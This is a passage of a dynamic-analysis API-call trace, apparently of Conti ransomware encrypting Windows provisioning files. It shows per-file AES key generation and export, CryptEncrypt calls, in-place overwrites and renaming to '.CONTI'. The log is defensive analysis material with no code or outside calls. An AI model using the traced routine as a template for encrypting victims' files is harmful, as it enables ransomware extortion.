	[0114.043] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.043] CryptDestroyKey (hKey=0x17c7c30) returned 1
	[0114.043] GetProcessHeap () returned 0x1720000
	[0114.043] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b55130 | out: hHeap=0x1720000) returned 1
	[0114.043] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0114.043] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x6b4cbd0 | out: phKey=0x6b4cbd0*=0x17c7c30) returned 1
	[0114.043] CryptExportKey (in: hKey=0x17c7c30, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4cbd4, pdwDataLen=0x4fbf86c | out: pbData=0x6b4cbd4*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0114.044] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\694__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\694__connections_cellular_kyivstar (ukraine)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0114.044] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\694__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\694__connections_cellular_kyivstar (ukraine)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0114.045] GetLastError () returned 0x0
	[0114.045] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=724) returned 1
	[0114.045] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d4
	[0114.045] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.045] SetEndOfFile (hFile=0x308) returned 1
	[0114.045] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.045] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.045] WriteFile (in: hFile=0x308, lpBuffer=0x6b4cbd4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x6b4cbd4*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0114.052] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.052] ReadFile (in: hFile=0x308, lpBuffer=0xe980000, nNumberOfBytesToRead=0x2d4, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x2d4, lpOverlapped=0x0) returned 1
	[0114.052] CryptEncrypt (in: hKey=0x17c7c30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x2d4, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x2e0) returned 1
	[0114.052] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.052] WriteFile (in: hFile=0x308, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x2e0, lpOverlapped=0x0) returned 1
	[0114.052] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.052] WriteFile (in: hFile=0x308, lpBuffer=0x6b4cbc8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x6b4cbc8*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0114.052] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.052] CloseHandle (hObject=0x308) returned 1
	[0114.052] GetProcessHeap () returned 0x1720000
	[0114.052] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.053] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\694__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\694__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\694__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml"
	[0114.053] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\694__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\694__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\694__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml.CONTI"
	[0114.053] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\694__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\694__connections_cellular_kyivstar (ukraine)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\694__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\694__connections_cellular_kyivstar (ukraine)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0114.053] GetProcessHeap () returned 0x1720000
	[0114.053] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.053] CryptDestroyKey (hKey=0x17c7c30) returned 1
	[0114.053] GetProcessHeap () returned 0x1720000
	[0114.053] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b54838 | out: hHeap=0x1720000) returned 1
	[0114.053] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0114.054] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x6b4a750 | out: phKey=0x6b4a750*=0x17c7d30) returned 1
	[0114.054] CryptExportKey (in: hKey=0x17c7d30, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4a754, pdwDataLen=0x4fbf86c | out: pbData=0x6b4a754*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0114.054] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\696__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\696__connections_cellular_kyivstar (ukraine)_i3$(__mvid)@wap.provxml")) returned 0x20
	[0114.054] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\696__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\696__connections_cellular_kyivstar (ukraine)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0114.055] GetLastError () returned 0x0
	[0114.055] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=717) returned 1
	[0114.055] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cd
	[0114.055] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.055] SetEndOfFile (hFile=0x308) returned 1
	[0114.055] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.055] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.055] WriteFile (in: hFile=0x308, lpBuffer=0x6b4a754*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x6b4a754*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0114.062] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.062] ReadFile (in: hFile=0x308, lpBuffer=0xe980000, nNumberOfBytesToRead=0x2cd, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x2cd, lpOverlapped=0x0) returned 1
	[0114.062] CryptEncrypt (in: hKey=0x17c7d30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x2cd, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x2d0) returned 1
	[0114.062] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.062] WriteFile (in: hFile=0x308, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x2d0, lpOverlapped=0x0) returned 1
	[0114.062] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.062] WriteFile (in: hFile=0x308, lpBuffer=0x6b4a748*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x6b4a748*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0114.062] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.062] CloseHandle (hObject=0x308) returned 1
	[0114.062] GetProcessHeap () returned 0x1720000
	[0114.062] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.062] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\696__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\696__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\696__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml"
	[0114.063] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\696__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\696__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\696__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml.CONTI"
	[0114.063] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\696__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\696__connections_cellular_kyivstar (ukraine)_i3$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\696__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\696__connections_cellular_kyivstar (ukraine)_i3$(__mvid)@wap.provxml.conti")) returned 1
	[0114.063] GetProcessHeap () returned 0x1720000
	[0114.063] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.063] CryptDestroyKey (hKey=0x17c7d30) returned 1
	[0114.063] GetProcessHeap () returned 0x1720000
	[0114.063] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b54460 | out: hHeap=0x1720000) returned 1
	[0114.063] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0114.064] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x6b48bf0 | out: phKey=0x6b48bf0*=0x17c7cb0) returned 1
	[0114.064] CryptExportKey (in: hKey=0x17c7cb0, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b48bf4, pdwDataLen=0x4fbf86c | out: pbData=0x6b48bf4*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0114.064] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\698__Connections_Cellular_3 (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\698__connections_cellular_3 (austria)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0114.064] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\698__Connections_Cellular_3 (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\698__connections_cellular_3 (austria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0114.065] GetLastError () returned 0x0
	[0114.065] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=700) returned 1
	[0114.065] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2bc
	[0114.065] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.065] SetEndOfFile (hFile=0x308) returned 1
	[0114.065] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.065] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.065] WriteFile (in: hFile=0x308, lpBuffer=0x6b48bf4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x6b48bf4*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0114.071] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.071] ReadFile (in: hFile=0x308, lpBuffer=0xe980000, nNumberOfBytesToRead=0x2bc, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x2bc, lpOverlapped=0x0) returned 1
	[0114.071] CryptEncrypt (in: hKey=0x17c7cb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x2bc, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x2c0) returned 1
	[0114.071] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.071] WriteFile (in: hFile=0x308, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x2c0, lpOverlapped=0x0) returned 1
	[0114.071] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.071] WriteFile (in: hFile=0x308, lpBuffer=0x6b48be8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x6b48be8*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0114.071] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.071] CloseHandle (hObject=0x308) returned 1
	[0114.071] GetProcessHeap () returned 0x1720000
	[0114.071] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.071] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\698__Connections_Cellular_3 (Austria)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\698__Connections_Cellular_3 (Austria)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\698__Connections_Cellular_3 (Austria)_i0$(__MVID)@WAP.provxml"
	[0114.071] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\698__Connections_Cellular_3 (Austria)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\698__Connections_Cellular_3 (Austria)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\698__Connections_Cellular_3 (Austria)_i0$(__MVID)@WAP.provxml.CONTI"
	[0114.071] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\698__Connections_Cellular_3 (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\698__connections_cellular_3 (austria)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\698__Connections_Cellular_3 (Austria)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\698__connections_cellular_3 (austria)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0114.081] GetProcessHeap () returned 0x1720000
	[0114.081] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.081] CryptDestroyKey (hKey=0x17c7cb0) returned 1
	[0114.081] GetProcessHeap () returned 0x1720000
	[0114.081] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e10c0 | out: hHeap=0x1720000) returned 1
	[0114.081] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0114.081] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x6b489a8 | out: phKey=0x6b489a8*=0x17c7c30) returned 1
	[0114.081] CryptExportKey (in: hKey=0x17c7c30, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b489ac, pdwDataLen=0x4fbf86c | out: pbData=0x6b489ac*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0114.082] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\69__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\69__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0114.082] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\69__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\69__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0114.082] GetLastError () returned 0x0
	[0114.082] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=475) returned 1
	[0114.083] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1db
	[0114.083] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.083] SetEndOfFile (hFile=0x308) returned 1
	[0116.513] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0116.513] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.513] WriteFile (in: hFile=0x308, lpBuffer=0x6b489ac*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x6b489ac*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0116.518] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0116.518] ReadFile (in: hFile=0x308, lpBuffer=0xe980000, nNumberOfBytesToRead=0x1db, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x1db, lpOverlapped=0x0) returned 1
	[0116.518] CryptEncrypt (in: hKey=0x17c7c30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x1db, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x1e0) returned 1
	[0116.518] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.518] WriteFile (in: hFile=0x308, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x1e0, lpOverlapped=0x0) returned 1
	[0116.518] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
